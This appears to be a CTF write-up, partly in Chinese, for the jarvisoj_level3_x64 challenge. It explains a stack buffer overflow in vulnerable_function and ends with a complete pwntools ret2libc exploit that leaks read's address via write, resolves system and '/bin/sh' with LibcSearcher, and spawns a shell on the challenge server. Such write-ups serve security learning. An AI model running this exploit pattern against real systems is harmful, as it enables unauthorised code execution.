jarvisoj_level3_x64
Involved Knowledge
- retlibc
- The leak of the write function
checksec
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
开启了NX,不能写入shellcode,一般这种情况下我们就往ROP上面考虑了
Running Program
Input:
123(用户输入)
Hello, World!
Analyze
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function(argc, argv, envp);
return write(1, "Hello, World!\n", 0xEuLL);
}
执行vulnerable_function
函数,然后输出Hello World! 我们跟进vulnerable_function去看看
vulnerable_function
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
write(1, "Input:\n", 7uLL);
return read(0, buf, 0x200uLL);
}
输出Input:后等待用户输入,注意这里的buf
大小,定义buf的时候大小为128,也就是0x80
,但是在接收用户输入的时候用的read函数可接受的大小为0x200
,远超出了bud
的大小,stackoverflow,我们可以在这里写入ropchain
Constructing the ropchain
我们看下程序调用了哪些函数
观察发现有write
,read
,__libc_start_main
,没有puts,所以这里我们另寻他路
在我们打ropchain前,write就已经调用过了(vulnerable_function里的write(1, "Input:\n", 7uLL);
)我们通过调用write的plt,可以以read的got表为参数,来将read的地址泄露出来(或者就泄露write)
及rdi \(\rightarrow\) 1 rsi\(\rightarrow\)read_got
Exp
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
from pwn import *
from LibcSearcher import *
context(os = "linux" , arch ="amd64" , log_level = "debug")
host = "node4.buuoj.cn"
port = 25756
elf = ELF("/mnt/c/Users/M1sceden4/Desktop/pwn/level3_x64")
local = int(input("0 for remote , 1 for local:\t"))
if local == 1:
io = process(elf.path)
elif local == 0:
io = remote(host , port)
pop_rsi_r15 = 0x00000000004006b1
pop_rdi = 0x00000000004006b3
ret = 0x0000000000400499
write_got = elf.got['write']
write_plt = elf.plt['write']
read_got = elf.got['read']
read_plt = elf.plt['read']
main = elf.sym['main']
payload = b'a' * (0x80 + 0x8) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(write_plt) + p64(main)
# 设置write()的第一个参数为1 , 第二个参数为read_got,这样来泄露出read的地址
io.sendlineafter("Input:\n" , payload)
read_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8 , b'\x00'))
success("read_addr -> " + hex(read_addr))
libc = LibcSearcher("read" , read_addr)
libc_base = read_addr - libc.dump("read")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = b'a' * (0x80 + 0x8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
io.sendline(payload)
io.interactive()